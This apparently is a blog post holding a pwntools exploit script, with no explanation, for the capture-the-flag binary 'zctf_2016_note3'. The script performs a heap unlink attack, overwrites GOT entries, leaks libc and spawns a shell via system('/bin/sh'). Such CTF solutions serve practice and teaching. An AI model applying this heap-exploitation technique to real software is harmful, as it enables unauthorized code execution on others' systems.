1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
| from pwn import* from LibcSearcher import *
p=process("./zctf_2016_note3") elf=ELF('./zctf_2016_note3') libc=ELF('./libc-2.23.so') context.log_level="debug"
def add(size,content): p.sendlineafter('option--->>','1') p.sendlineafter('Input the length of the note content:(less than 1024)',str(size)) p.sendlineafter('Input the note content:',content)
def edit(index,content): p.sendlineafter('option--->>','3') p.sendlineafter('Input the id of the note:',str(index)) p.sendlineafter('Input the new content:',content)
def dele(index): p.sendlineafter('option--->>','4') p.sendlineafter('Input the id of the note:',str(index))
ptr=0x6020c8 fd=ptr-0x18 bk=ptr-0x10 payload1=p64(0)+p64(0xb1)+p64(fd)+p64(bk)
add(0x90,payload1) add(0,'bbbb') add(0x90,'CCCC') add(0x10,'dddd') dele(1)
payload2=p64(0)*2+p64(0xb0)+p64(0xa0)
add(0,payload2)
dele(2)
payload3 = p64(0) * 2 + p64(elf.got['free']) * 2 + p64(elf.got['atoi']) + p64(0) + p64(elf.got['atoi'])
edit(0,payload3)
edit(0,p64(0X400730)[:-1])
dele(1)
atoi_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) success('atoi_addr = ' + hex(atoi_addr))
sleep(1)
base=atoi_addr-libc.sym['atoi'] system=base+libc.sym['system'] edit(3,p64(system))
p.sendline('/bin/sh')
p.interactive()
|
评论区
欢迎你留下宝贵的意见,昵称输入QQ号会显示QQ头像哦~